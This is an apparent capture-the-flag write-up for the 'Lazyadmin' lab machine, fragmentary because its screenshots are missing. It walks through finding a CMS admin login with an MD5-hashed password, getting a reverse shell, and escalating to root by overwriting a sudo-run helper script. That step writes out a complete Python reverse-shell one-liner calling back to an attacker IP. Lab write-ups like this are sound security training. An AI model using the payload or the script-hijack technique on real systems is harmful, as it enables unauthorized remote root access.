Lazyadmin

Lazyadmin

🔍 Enumeration & MD5 Decrypting

🕵️ I found several URLs: I found several URLs:

• Username: manager

• Password (MD5 Hash): 42f749ade7f9e195bf475f37a44cafcb =

http://10.49.130.161/content/as/

🕵️ Executing Reverse Shell

💻 Awesome!

Awesome!

⚡ Script Hijacking & Privilege Escalation

💡 I explored the system further:

We can run backup.pl with sudo without a password. I checked the content of backup.pl using cat:

⚡ Since it runs with root privileges, we can modify the copy.sh script it executes:

I tried nc but it failed, so I used Python instead:

echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.49.111.180\",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"sh\")'" > /etc/copy.sh

Then I executed the Perl script:

sudo /usr/bin/perl /home/itguy/backup.pl

🏁 I got the root flag!